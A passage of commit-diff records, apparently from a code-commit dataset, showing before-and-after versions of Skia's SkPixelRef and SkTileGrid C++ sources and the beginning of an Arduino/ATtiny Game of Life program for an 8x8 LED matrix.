colorSpace) {\n    return false;\n}\n\nsize_t SkPixelRef::getAllocatedSizeInBytes() const {\n    return 0;\n}\n\nstatic void unlock_legacy_result(void* ctx) {\n    SkPixelRef* pr = (SkPixelRef*)ctx;\n    pr->unlockPixels();\n    pr->unref();    \/\/ balancing the Ref in onRequestLoc\n}\n\nbool SkPixelRef::onRequestLock(const LockRequest& request, LockResult* result) {\n    if (!this->lockPixelsInsideMutex()) {\n        return false;\n    }\n\n    result->fUnlockProc = unlock_legacy_result;\n    result->fUnlockContext = SkRef(this);   \/\/ this is balanced in our fUnlockProc\n    result->fCTable = fRec.fColorTable;\n    result->fPixels = fRec.fPixels;\n    result->fRowBytes = fRec.fRowBytes;\n    result->fSize.set(fInfo.width(), fInfo.height());\n    return true;\n}\n<commit_msg>decrement lockcount if we failed to get pixels<commit_after>\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkBitmapCache.h\"\n#include \"SkMutex.h\"\n#include \"SkPixelRef.h\"\n#include \"SkTraceEvent.h\"\n\n\/\/#define SK_SUPPORT_LEGACY_UNBALANCED_PIXELREF_LOCKCOUNT\n\/\/#define SK_TRACE_PIXELREF_LIFETIME\n\n#ifdef SK_BUILD_FOR_WIN32\n    \/\/ We don't have SK_BASE_MUTEX_INIT on Windows.\n\n    \/\/ must be a power-of-2. undef to just use 1 mutex\n    #define PIXELREF_MUTEX_RING_COUNT       32\n    static SkBaseMutex gPixelRefMutexRing[PIXELREF_MUTEX_RING_COUNT];\n\n#else\n    static SkBaseMutex gPixelRefMutexRing[] = {\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n    };\n    \/\/ must be a power-of-2. undef to just use 1 mutex\n    #define PIXELREF_MUTEX_RING_COUNT SK_ARRAY_COUNT(gPixelRefMutexRing)\n\n#endif\n\nstatic SkBaseMutex* get_default_mutex() {\n    static int32_t gPixelRefMutexRingIndex;\n\n    SkASSERT(SkIsPow2(PIXELREF_MUTEX_RING_COUNT));\n\n    \/\/ atomic_inc might be overkill here. It may be fine if once in a while\n    \/\/ we hit a race-condition and two subsequent calls get the same index...\n    int index = sk_atomic_inc(&gPixelRefMutexRingIndex);\n    return &gPixelRefMutexRing[index & (PIXELREF_MUTEX_RING_COUNT - 1)];\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"SkNextID.h\"\n\nuint32_t SkNextID::ImageID() {\n    static uint32_t gID = 0;\n    uint32_t id;\n    \/\/ Loop in case our global wraps around, as we never want to return a 0.\n    do {\n        id = sk_atomic_fetch_add(&gID, 2u) + 2;  \/\/ Never set the low bit.\n    } while (0 == id);\n    return id;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid SkPixelRef::setMutex(SkBaseMutex* mutex) {\n    if (NULL == mutex) {\n        mutex = get_default_mutex();\n    }\n    fMutex = mutex;\n}\n\n\/\/ just need a > 0 value, so pick a funny one to aid in debugging\n#define SKPIXELREF_PRELOCKED_LOCKCOUNT     123456789\n\nstatic SkImageInfo validate_info(const SkImageInfo& info) {\n    SkAlphaType newAlphaType = info.alphaType();\n    SkAssertResult(SkColorTypeValidateAlphaType(info.colorType(), info.alphaType(), &newAlphaType));\n    return info.makeAlphaType(newAlphaType);\n}\n\n#ifdef SK_TRACE_PIXELREF_LIFETIME\n    static int32_t gInstCounter;\n#endif\n\nSkPixelRef::SkPixelRef(const SkImageInfo& info)\n    : fInfo(validate_info(info))\n#ifdef SK_BUILD_FOR_ANDROID_FRAMEWORK\n    , fStableID(SkNextID::ImageID())\n#endif\n\n{\n#ifdef SK_TRACE_PIXELREF_LIFETIME\n    SkDebugf(\" pixelref %d\\n\", sk_atomic_inc(&gInstCounter));\n#endif\n    this->setMutex(NULL);\n    fRec.zero();\n    fLockCount = 0;\n    this->needsNewGenID();\n    fMutability = kMutable;\n    fPreLocked = false;\n    fAddedToCache.store(false);\n}\n\n\nSkPixelRef::SkPixelRef(const SkImageInfo& info, SkBaseMutex* mutex)\n    : fInfo(validate_info(info))\n#ifdef SK_BUILD_FOR_ANDROID_FRAMEWORK\n    , fStableID(SkNextID::ImageID())\n#endif\n{\n#ifdef SK_TRACE_PIXELREF_LIFETIME\n    SkDebugf(\" pixelref %d\\n\", sk_atomic_inc(&gInstCounter));\n#endif\n    this->setMutex(mutex);\n    fRec.zero();\n    fLockCount = 0;\n    this->needsNewGenID();\n    fMutability = kMutable;\n    fPreLocked = false;\n    fAddedToCache.store(false);\n}\n\nSkPixelRef::~SkPixelRef() {\n#ifndef SK_SUPPORT_LEGACY_UNBALANCED_PIXELREF_LOCKCOUNT\n    SkASSERT(SKPIXELREF_PRELOCKED_LOCKCOUNT == fLockCount || 0 == fLockCount);\n#endif\n\n#ifdef SK_TRACE_PIXELREF_LIFETIME\n    SkDebugf(\"~pixelref %d\\n\", sk_atomic_dec(&gInstCounter) - 1);\n#endif\n    this->callGenIDChangeListeners();\n}\n\nvoid SkPixelRef::needsNewGenID() {\n    fTaggedGenID.store(0);\n    SkASSERT(!this->genIDIsUnique()); \/\/ This method isn't threadsafe, so the assert should be fine.\n}\n\nvoid SkPixelRef::cloneGenID(const SkPixelRef& that) {\n    \/\/ This is subtle.  We must call that.getGenerationID() to make sure its genID isn't 0.\n    uint32_t genID = that.getGenerationID();\n\n    \/\/ Neither ID is unique any more.\n    \/\/ (These & ~1u are actually redundant.  that.getGenerationID() just did it for us.)\n    this->fTaggedGenID.store(genID & ~1u);\n    that. fTaggedGenID.store(genID & ~1u);\n\n    \/\/ This method isn't threadsafe, so these asserts should be fine.\n    SkASSERT(!this->genIDIsUnique());\n    SkASSERT(!that. genIDIsUnique());\n}\n\nstatic void validate_pixels_ctable(const SkImageInfo& info, const SkColorTable* ctable) {\n    if (info.isEmpty()) {\n        return; \/\/ can't require ctable if the dimensions are empty\n    }\n    if (kIndex_8_SkColorType == info.colorType()) {\n        SkASSERT(ctable);\n    } else {\n        SkASSERT(NULL == ctable);\n    }\n}\n\nvoid SkPixelRef::setPreLocked(void* pixels, size_t rowBytes, SkColorTable* ctable) {\n    SkASSERT(pixels);\n    validate_pixels_ctable(fInfo, ctable);\n    \/\/ only call me in your constructor, otherwise fLockCount tracking can get\n    \/\/ out of sync.\n    fRec.fPixels = pixels;\n    fRec.fColorTable = ctable;\n    fRec.fRowBytes = rowBytes;\n    fLockCount = SKPIXELREF_PRELOCKED_LOCKCOUNT;\n    fPreLocked = true;\n}\n\n\/\/ Increments fLockCount only on success\nbool SkPixelRef::lockPixelsInsideMutex() {\n    fMutex->assertHeld();\n\n    if (1 == ++fLockCount) {\n        SkASSERT(fRec.isZero());\n        if (!this->onNewLockPixels(&fRec)) {\n            fRec.zero();\n            fLockCount -= 1;    \/\/ we return fLockCount unchanged if we fail.\n            return false;\n        }\n    }\n    if (fRec.fPixels) {\n        validate_pixels_ctable(fInfo, fRec.fColorTable);\n        return true;\n    }\n    \/\/ no pixels, so we failed (somehow)\n    --fLockCount;\n    return false;\n}\n\n\/\/ For historical reasons, we always inc fLockCount, even if we return false.\n\/\/ It would be nice to change this (it seems), and only inc if we actually succeed...\nbool SkPixelRef::lockPixels() {\n    SkASSERT(!fPreLocked || SKPIXELREF_PRELOCKED_LOCKCOUNT == fLockCount);\n\n    if (!fPreLocked) {\n        TRACE_EVENT_BEGIN0(\"skia\", \"SkPixelRef::lockPixelsMutex\");\n        SkAutoMutexAcquire  ac(*fMutex);\n        TRACE_EVENT_END0(\"skia\", \"SkPixelRef::lockPixelsMutex\");\n        SkDEBUGCODE(int oldCount = fLockCount;)\n        bool success = this->lockPixelsInsideMutex();\n        \/\/ lockPixelsInsideMutex only increments the count if it succeeds.\n        SkASSERT(oldCount + (int)success == fLockCount);\n\n        if (!success) {\n            \/\/ For compatibility with SkBitmap calling lockPixels, we still want to increment\n            \/\/ fLockCount even if we failed. If we updated SkBitmap we could remove this oddity.\n            fLockCount += 1;\n            return false;\n        }\n    }\n    if (fRec.fPixels) {\n        validate_pixels_ctable(fInfo, fRec.fColorTable);\n        return true;\n    }\n    return false;\n}\n\nbool SkPixelRef::lockPixels(LockRec* rec) {\n    if (this->lockPixels()) {\n        *rec = fRec;\n        return true;\n    }\n    return false;\n}\n\nvoid SkPixelRef::unlockPixels() {\n    SkASSERT(!fPreLocked || SKPIXELREF_PRELOCKED_LOCKCOUNT == fLockCount);\n\n    if (!fPreLocked) {\n        SkAutoMutexAcquire  ac(*fMutex);\n\n        SkASSERT(fLockCount > 0);\n        if (0 == --fLockCount) {\n            \/\/ don't call onUnlockPixels unless onLockPixels succeeded\n            if (fRec.fPixels) {\n                this->onUnlockPixels();\n                fRec.zero();\n            } else {\n                SkASSERT(fRec.isZero());\n            }\n        }\n    }\n}\n\nbool SkPixelRef::requestLock(const LockRequest& request, LockResult* result) {\n    SkASSERT(result);\n    if (request.fSize.isEmpty()) {\n        return false;\n    }\n    \/\/ until we support subsets, we have to check this...\n    if (request.fSize.width() != fInfo.width() || request.fSize.height() != fInfo.height()) {\n        return false;\n    }\n\n    if (fPreLocked) {\n        result->fUnlockProc = NULL;\n        result->fUnlockContext = NULL;\n        result->fCTable = fRec.fColorTable;\n        result->fPixels = fRec.fPixels;\n        result->fRowBytes = fRec.fRowBytes;\n        result->fSize.set(fInfo.width(), fInfo.height());\n    } else {\n        SkAutoMutexAcquire  ac(*fMutex);\n        if (!this->onRequestLock(request, result)) {\n            return false;\n        }\n    }\n    if (result->fPixels) {\n        validate_pixels_ctable(fInfo, result->fCTable);\n        return true;\n    }\n    return false;\n}\n\nbool SkPixelRef::lockPixelsAreWritable() const {\n    return this->onLockPixelsAreWritable();\n}\n\nbool SkPixelRef::onLockPixelsAreWritable() const {\n    return true;\n}\n\nuint32_t SkPixelRef::getGenerationID() const {\n    uint32_t id = fTaggedGenID.load();\n    if (0 == id) {\n        uint32_t next = SkNextID::ImageID() | 1u;\n        if (fTaggedGenID.compare_exchange(&id, next)) {\n            id = next;  \/\/ There was no race or we won the race.  fTaggedGenID is next now.\n        } else {\n            \/\/ We lost a race to set fTaggedGenID. compare_exchange() filled id with the winner.\n        }\n        \/\/ We can't quite SkASSERT(this->genIDIsUnique()). It could be non-unique\n        \/\/ if we got here via the else path (pretty unlikely, but possible).\n    }\n    return id & ~1u;  \/\/ Mask off bottom unique bit.\n}\n\nvoid SkPixelRef::addGenIDChangeListener(GenIDChangeListener* listener) {\n    if (NULL == listener || !this->genIDIsUnique()) {\n        \/\/ No point in tracking this if we're not going to call it.\n        SkDELETE(listener);\n        return;\n    }\n    *fGenIDChangeListeners.append() = listener;\n}\n\n\/\/ we need to be called *before* the genID gets changed or zerod\nvoid SkPixelRef::callGenIDChangeListeners() {\n    \/\/ We don't invalidate ourselves if we think another SkPixelRef is sharing our genID.\n    if (this->genIDIsUnique()) {\n        for (int i = 0; i < fGenIDChangeListeners.count(); i++) {\n            fGenIDChangeListeners[i]->onChange();\n        }\n\n        \/\/ TODO: SkAtomic could add \"old_value = atomic.xchg(new_value)\" to make this clearer.\n        if (fAddedToCache.load()) {\n            SkNotifyBitmapGenIDIsStale(this->getGenerationID());\n            fAddedToCache.store(false);\n        }\n    }\n    \/\/ Listeners get at most one shot, so whether these triggered or not, blow them away.\n    fGenIDChangeListeners.deleteAll();\n}\n\nvoid SkPixelRef::notifyPixelsChanged() {\n#ifdef SK_DEBUG\n    if (this->isImmutable()) {\n        SkDebugf(\"========== notifyPixelsChanged called on immutable pixelref\");\n    }\n#endif\n    this->callGenIDChangeListeners();\n    this->needsNewGenID();\n    this->onNotifyPixelsChanged();\n}\n\nvoid SkPixelRef::changeAlphaType(SkAlphaType at) {\n    *const_cast<SkImageInfo*>(&fInfo) = fInfo.makeAlphaType(at);\n}\n\nvoid SkPixelRef::setImmutable() {\n    fMutability = kImmutable;\n}\n\nvoid SkPixelRef::setImmutableWithID(uint32_t genID) {\n    \/*\n     *  We are forcing the genID to match an external value. The caller must ensure that this\n     *  value does not conflict with other content.\n     *\n     *  One use is to force this pixelref's id to match an SkImage's id\n     *\/\n    fMutability = kImmutable;\n    fTaggedGenID.store(genID);\n}\n\nvoid SkPixelRef::setTemporarilyImmutable() {\n    SkASSERT(fMutability != kImmutable);\n    fMutability = kTemporarilyImmutable;\n}\n\nvoid SkPixelRef::restoreMutability() {\n    SkASSERT(fMutability != kImmutable);\n    fMutability = kMutable;\n}\n\nbool SkPixelRef::readPixels(SkBitmap* dst, const SkIRect* subset) {\n    return this->onReadPixels(dst, subset);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool SkPixelRef::onReadPixels(SkBitmap* dst, const SkIRect* subset) {\n    return false;\n}\n\nvoid SkPixelRef::onNotifyPixelsChanged() { }\n\nSkData* SkPixelRef::onRefEncodedData() {\n    return NULL;\n}\n\nbool SkPixelRef::onGetYUV8Planes(SkISize sizes[3], void* planes[3], size_t rowBytes[3],\n                                 SkYUVColorSpace* colorSpace) {\n    return false;\n}\n\nsize_t SkPixelRef::getAllocatedSizeInBytes() const {\n    return 0;\n}\n\nstatic void unlock_legacy_result(void* ctx) {\n    SkPixelRef* pr = (SkPixelRef*)ctx;\n    pr->unlockPixels();\n    pr->unref();    \/\/ balancing the Ref in onRequestLoc\n}\n\nbool SkPixelRef::onRequestLock(const LockRequest& request, LockResult* result) {\n    if (!this->lockPixelsInsideMutex()) {\n        return false;\n    }\n\n    result->fUnlockProc = unlock_legacy_result;\n    result->fUnlockContext = SkRef(this);   \/\/ this is balanced in our fUnlockProc\n    result->fCTable = fRec.fColorTable;\n    result->fPixels = fRec.fPixels;\n    result->fRowBytes = fRec.fRowBytes;\n    result->fSize.set(fInfo.width(), fInfo.height());\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\n\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkTileGrid.h\"\n\nSkTileGrid::SkTileGrid(int tileWidth, int tileHeight, int xTileCount, int yTileCount, SkTileGridNextDatumFunctionPtr nextDatumFunction)\n{\n    fTileWidth = tileWidth;\n    fTileHeight = tileHeight;\n    fXTileCount = xTileCount;\n    fYTileCount = yTileCount;\n    fTileCount = fXTileCount * fYTileCount;\n    fInsertionCount = 0;\n    fGridBounds = SkIRect::MakeXYWH(0, 0, fTileWidth * fXTileCount, fTileHeight * fYTileCount);\n    fNextDatumFunction = nextDatumFunction;\n    fTileData = SkNEW_ARRAY(SkTDArray<void *>, fTileCount);\n}\n\nSkTileGrid::~SkTileGrid() {\n    SkDELETE_ARRAY(fTileData);\n}\n\nSkTDArray<void *>& SkTileGrid::tile(int x, int y) {\n    return fTileData[y * fXTileCount + x];\n}\n\nvoid SkTileGrid::insert(void* data, const SkIRect& bounds, bool) {\n    SkASSERT(!bounds.isEmpty());\n    SkIRect dilatedBounds = bounds;\n    dilatedBounds.outset(1,1); \/\/ Consideration for filtering and AA\n\n    if (!SkIRect::Intersects(dilatedBounds, fGridBounds)) {\n        return;\n    }\n\n    int minTileX = SkMax32(SkMin32(dilatedBounds.left() \/ fTileWidth, fXTileCount - 1), 0);\n    int maxTileX = SkMax32(SkMin32(dilatedBounds.right() \/ fTileWidth, fXTileCount - 1), 0);\n    int minTileY = SkMax32(SkMin32(dilatedBounds.top() \/ fTileHeight, fYTileCount -1), 0);\n    int maxTileY = SkMax32(SkMin32(dilatedBounds.bottom() \/ fTileHeight, fYTileCount -1), 0);\n\n    for (int x = minTileX; x <= maxTileX; x++) {\n        for (int y = minTileY; y <= maxTileY; y++) {\n            this->tile(x, y).push(data);\n        }\n    }\n    fInsertionCount++;\n}\n\nvoid SkTileGrid::search(const SkIRect& query, SkTDArray<void*>* results) {\n    \/\/ The +1\/-1 is to compensate for the outset in applied SkCanvas::getClipBounds\n    int tileStartX = (query.left() + 1) \/ fTileWidth;\n    int tileEndX = (query.right() + fTileWidth - 1) \/ fTileWidth;\n    int tileStartY = (query.top() + 1) \/ fTileHeight;\n    int tileEndY = (query.bottom() + fTileHeight - 1) \/ fTileHeight;\n    if (tileStartX >= fXTileCount || tileStartY >= fYTileCount || tileEndX <= 0 || tileEndY <= 0) {\n        return; \/\/ query does not intersect the grid\n    }\n    \/\/ clamp to grid\n    if (tileStartX < 0) tileStartX = 0;\n    if (tileStartY < 0) tileStartY = 0;\n    if (tileEndX > fXTileCount) tileEndX = fXTileCount;\n    if (tileEndY > fYTileCount) tileEndY = fYTileCount;\n\n    int queryTileCount = (tileEndX - tileStartX) * (tileEndY - tileStartY);\n    if (queryTileCount == 1) {\n        *results = this->tile(tileStartX, tileStartY);\n    } else {\n        results->reset();\n        SkTDArray<int> curPositions;\n        curPositions.setCount(queryTileCount);\n        \/\/ Note: Reserving space for 1024 tile pointers on the stack. If the malloc\n        \/\/ becomes a bottleneck, we may consider increasing that number.\n        SkAutoSTArray<1024, SkTDArray<void *>*> storage(queryTileCount);\n        SkTDArray<void *>** tileRange = storage.get();\n        int tile = 0;\n        for (int x = tileStartX; x < tileEndX; ++x) {\n            for (int y = tileStartY; y < tileEndY; ++y) {\n                tileRange[tile] = &this->tile(x, y);\n                curPositions[tile] = tileRange[tile]->count() ? 0 : kTileFinished;\n                ++tile;\n            }\n        }\n        void *nextElement;\n        while(NULL != (nextElement = fNextDatumFunction(tileRange, curPositions))) {\n            results->push(nextElement);\n        }\n    }\n}\n\nvoid SkTileGrid::clear() {\n    for (int i = 0; i < fTileCount; i++) {\n        fTileData[i].reset();\n    }\n}\n\nint SkTileGrid::getCount() const {\n    return fInsertionCount;\n}\n<commit_msg>Improving comment in SkTileGrid::search<commit_after>\n\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkTileGrid.h\"\n\nSkTileGrid::SkTileGrid(int tileWidth, int tileHeight, int xTileCount, int yTileCount, SkTileGridNextDatumFunctionPtr nextDatumFunction)\n{\n    fTileWidth = tileWidth;\n    fTileHeight = tileHeight;\n    fXTileCount = xTileCount;\n    fYTileCount = yTileCount;\n    fTileCount = fXTileCount * fYTileCount;\n    fInsertionCount = 0;\n    fGridBounds = SkIRect::MakeXYWH(0, 0, fTileWidth * fXTileCount, fTileHeight * fYTileCount);\n    fNextDatumFunction = nextDatumFunction;\n    fTileData = SkNEW_ARRAY(SkTDArray<void *>, fTileCount);\n}\n\nSkTileGrid::~SkTileGrid() {\n    SkDELETE_ARRAY(fTileData);\n}\n\nSkTDArray<void *>& SkTileGrid::tile(int x, int y) {\n    return fTileData[y * fXTileCount + x];\n}\n\nvoid SkTileGrid::insert(void* data, const SkIRect& bounds, bool) {\n    SkASSERT(!bounds.isEmpty());\n    SkIRect dilatedBounds = bounds;\n    dilatedBounds.outset(1,1); \/\/ Consideration for filtering and AA\n\n    if (!SkIRect::Intersects(dilatedBounds, fGridBounds)) {\n        return;\n    }\n\n    int minTileX = SkMax32(SkMin32(dilatedBounds.left() \/ fTileWidth, fXTileCount - 1), 0);\n    int maxTileX = SkMax32(SkMin32(dilatedBounds.right() \/ fTileWidth, fXTileCount - 1), 0);\n    int minTileY = SkMax32(SkMin32(dilatedBounds.top() \/ fTileHeight, fYTileCount -1), 0);\n    int maxTileY = SkMax32(SkMin32(dilatedBounds.bottom() \/ fTileHeight, fYTileCount -1), 0);\n\n    for (int x = minTileX; x <= maxTileX; x++) {\n        for (int y = minTileY; y <= maxTileY; y++) {\n            this->tile(x, y).push(data);\n        }\n    }\n    fInsertionCount++;\n}\n\nvoid SkTileGrid::search(const SkIRect& query, SkTDArray<void*>* results) {\n    \/\/ The +1\/-1 is to compensate for the outset in applied SkCanvas::getClipBounds\n    int tileStartX = (query.left() + 1) \/ fTileWidth;\n    int tileEndX = (query.right() + fTileWidth - 1) \/ fTileWidth;\n    int tileStartY = (query.top() + 1) \/ fTileHeight;\n    int tileEndY = (query.bottom() + fTileHeight - 1) \/ fTileHeight;\n    if (tileStartX >= fXTileCount || tileStartY >= fYTileCount || tileEndX <= 0 || tileEndY <= 0) {\n        return; \/\/ query does not intersect the grid\n    }\n    \/\/ clamp to grid\n    if (tileStartX < 0) tileStartX = 0;\n    if (tileStartY < 0) tileStartY = 0;\n    if (tileEndX > fXTileCount) tileEndX = fXTileCount;\n    if (tileEndY > fYTileCount) tileEndY = fYTileCount;\n\n    int queryTileCount = (tileEndX - tileStartX) * (tileEndY - tileStartY);\n    if (queryTileCount == 1) {\n        *results = this->tile(tileStartX, tileStartY);\n    } else {\n        results->reset();\n        SkTDArray<int> curPositions;\n        curPositions.setCount(queryTileCount);\n        \/\/ Note: Reserving space for 1024 tile pointers on the stack. If the\n        \/\/ malloc becomes a bottleneck, we may consider increasing that number.\n        \/\/ Typical large web page, say 2k x 16k, would require 512 tiles of\n        \/\/ size 256 x 256 pixels.\n        SkAutoSTArray<1024, SkTDArray<void *>*> storage(queryTileCount);\n        SkTDArray<void *>** tileRange = storage.get();\n        int tile = 0;\n        for (int x = tileStartX; x < tileEndX; ++x) {\n            for (int y = tileStartY; y < tileEndY; ++y) {\n                tileRange[tile] = &this->tile(x, y);\n                curPositions[tile] = tileRange[tile]->count() ? 0 : kTileFinished;\n                ++tile;\n            }\n        }\n        void *nextElement;\n        while(NULL != (nextElement = fNextDatumFunction(tileRange, curPositions))) {\n            results->push(nextElement);\n        }\n    }\n}\n\nvoid SkTileGrid::clear() {\n    for (int i = 0; i < fTileCount; i++) {\n        fTileData[i].reset();\n    }\n}\n\nint SkTileGrid::getCount() const {\n    return fInsertionCount;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Conway's Game of Life implementation with less than 1KB code.\n * Prototype is developed first with Arduino then ported to ATtiny84A.\n * \n * Description:\n * - cells are displayed on an 8x8 LED matrix\n * - initial setup is set through 2 pots (X and Y) and one button to select\/unselect a cell\n * - starting\/suspending the game is done by a second push button\n * - a 3rd pot allows speed tuning\n * \n * Circuit:\n * - MCU is connected to 2 chained 74HC595 SIPO\n * - First SIPO is connected to matrix columns through 8 330Ohm resistors\n * - Second SIPO is connected to matrix rows\n * \n * Wiring:\n * - on Arduino UNO:\n *   - D2 is an output connected to both SIPO clock pins\n *   - D3 is an output connected to both SIPO latch pins\n *   - D4 is an output connected to first SIPO serial data input\n *   - D0 is an input connected to the START\/STOP button (connected itself to GND)\n *   - D7 is an input connected to the SELECT button (connected itself to GND)\n *   - A0 is an analog input connected to the ROW potentiometer\n *   - A1 is an analog input connected to the COLUMN potentiometer\n * - on ATtinyX4 based boards:\n *   - PAx is an output connected to both SIPO clock pins\n *   - PAx is an output connected to both SIPO latch pins\n *   - PA0 is an output connected to first SIPO serial data input\n *   - PA5 is an input connected to the START\/STOP button (connected itself to GND)\n *   - PA4 is an input connected to the SELECT button (connected itself to GND)\n *   - A6 is an analog input connected to the ROW potentiometer\n *   - A7 is an analog input connected to the COLUMN potentiometer\n *\/\n\n\/\/TODO 2. Reuse left pot (row selection) to determine speed of game\n\/\/TODO 3. Optimize if needed (several leads: remove vectors, use GPIOR for neighbours, use bit-parallel calculation...)\n\/\/TODO 4. Update ATtiny84 pins for actual project boards (no more prototype)\n\n#include <avr\/interrupt.h>\n#include <util\/delay.h>\n\n#include <fastarduino\/time.hh>\n#include <fastarduino\/AnalogInput.hh>\n\n#include \"Multiplexer.hh\"\n#include \"Button.hh\"\n#include \"Game.hh\"\n\n#if defined(ARDUINO_UNO)\nstatic constexpr const Board::DigitalPin CLOCK = Board::DigitalPin::D2;\nstatic constexpr const Board::DigitalPin LATCH = Board::DigitalPin::D3;\nstatic constexpr const Board::DigitalPin DATA = Board::DigitalPin::D4;\n\nstatic constexpr const Board::AnalogPin ROW = Board::AnalogPin::A0;\nstatic constexpr const Board::AnalogPin COLUMN = Board::AnalogPin::A1;\n\nstatic constexpr const Board::DigitalPin SELECT = Board::DigitalPin::D5;\nstatic constexpr const Board::DigitalPin START_STOP = Board::DigitalPin::D6;\n\n#define HAS_TRACE 1\n#elif defined (BREADBOARD_ATTINYX4)\nstatic constexpr const Board::DigitalPin CLOCK = Board::DigitalPin::D0;\nstatic constexpr const Board::DigitalPin LATCH = Board::DigitalPin::D1;\nstatic constexpr const Board::DigitalPin DATA = Board::DigitalPin::D2;\n\nstatic constexpr const Board::AnalogPin ROW = Board::AnalogPin::A3;\nstatic constexpr const Board::AnalogPin COLUMN = Board::AnalogPin::A4;\n\nstatic constexpr const Board::DigitalPin SELECT = Board::DigitalPin::D5;\nstatic constexpr const Board::DigitalPin START_STOP = Board::DigitalPin::D6;\n\/\/TODO Find real PAx for latch and clock\n\/\/static constexpr const Board::DigitalPin CLOCK = Board::DigitalPin::DX;\n\/\/static constexpr const Board::DigitalPin LATCH = Board::DigitalPin::DX;\n\/\/static constexpr const Board::DigitalPin DATA = Board::DigitalPin::D0;\n\/\/\n\/\/static constexpr const Board::AnalogPin ROW = Board::AnalogPin::A7;\n\/\/static constexpr const Board::AnalogPin COLUMN = Board::AnalogPin::A6;\n\/\/\n\/\/static constexpr const Board::DigitalPin SELECT = Board::DigitalPin::D4;\n\/\/static constexpr const Board::DigitalPin START_STOP = Board::DigitalPin::D5;\n#define HAS_TRACE 0\n#else\n#error \"Current target is not yet supported!\"\n#endif\n\n#if HAS_TRACE\n#include <fastarduino\/uart.hh>\nUSE_UATX0();\n\n\/\/ Buffers for UART\nstatic const uint8_t OUTPUT_BUFFER_SIZE = 128;\nstatic char output_buffer[OUTPUT_BUFFER_SIZE];\nstatic UATX<Board::USART::USART0> uatx{output_buffer};\nFormattedOutput<OutputBuffer> trace = uatx.fout();\n#else\n#include <fastarduino\/empty_streams.hh>\n#endif\n\n\/\/ Single port used by this circuit\nstatic constexpr const Board::Port PORT = FastPinType<CLOCK>::PORT;\n\n\/\/ Check at compile time that all pins are on the same port\nstatic_assert(FastPinType<LATCH>::PORT == PORT, \"LATCH must be on same port as CLOCK\");\nstatic_assert(FastPinType<DATA>::PORT == PORT, \"DATA must be on same port as CLOCK\");\nstatic_assert(FastPinType<SELECT>::PORT == PORT, \"SELECT must be on same port as CLOCK\");\nstatic_assert(FastPinType<START_STOP>::PORT == PORT, \"START_STOP must be on same port as CLOCK\");\n\n\/\/ Timing constants\n\/\/ Multiplexing is done one row every 2ms, ie 8 rows in 16ms\nstatic constexpr const uint16_t REFRESH_PERIOD_US = 1000;\n\/\/ Blinking LEDs are toggled every 20 times the display is fully refreshed (ie 20 x 8 x 2ms = 320ms)\nstatic constexpr const uint16_t BLINKING_HALF_TIME_MS = 250;\nstatic constexpr const uint16_t BLINKING_COUNTER = BLINKING_HALF_TIME_MS * 1000UL \/ REFRESH_PERIOD_US;\n\/\/ Buttons debouncing is done on a duration of 20ms\nstatic constexpr const uint16_t DEBOUNCE_TIME_MS = 20;\nstatic constexpr const uint8_t DEBOUNCE_COUNTER = DEBOUNCE_TIME_MS * 1000UL \/ REFRESH_PERIOD_US;\n\nstatic constexpr const uint16_t PROGRESS_PERIOD_MS = 2000;\nstatic constexpr const uint16_t PROGRESS_COUNTER = PROGRESS_PERIOD_MS * 1000UL \/ REFRESH_PERIOD_US;\n\n\/\/ Useful constants and types\nusing MULTIPLEXER = Matrix8x8Multiplexer<CLOCK, LATCH, DATA, BLINKING_COUNTER>;\nstatic constexpr const uint8_t ROWS = MULTIPLEXER::ROWS;\nstatic constexpr const uint8_t COLUMNS = MULTIPLEXER::COLUMNS;\nusing GAME = GameOfLife<ROWS, COLUMNS>;\n\n\/\/ Calculate direction of pins (3 output, 2 input with pullups)\nstatic constexpr const uint8_t ALL_DDR = MULTIPLEXER::DDR_MASK;\nstatic constexpr const uint8_t BUTTONS_MASK = FastPinType<SELECT>::MASK | 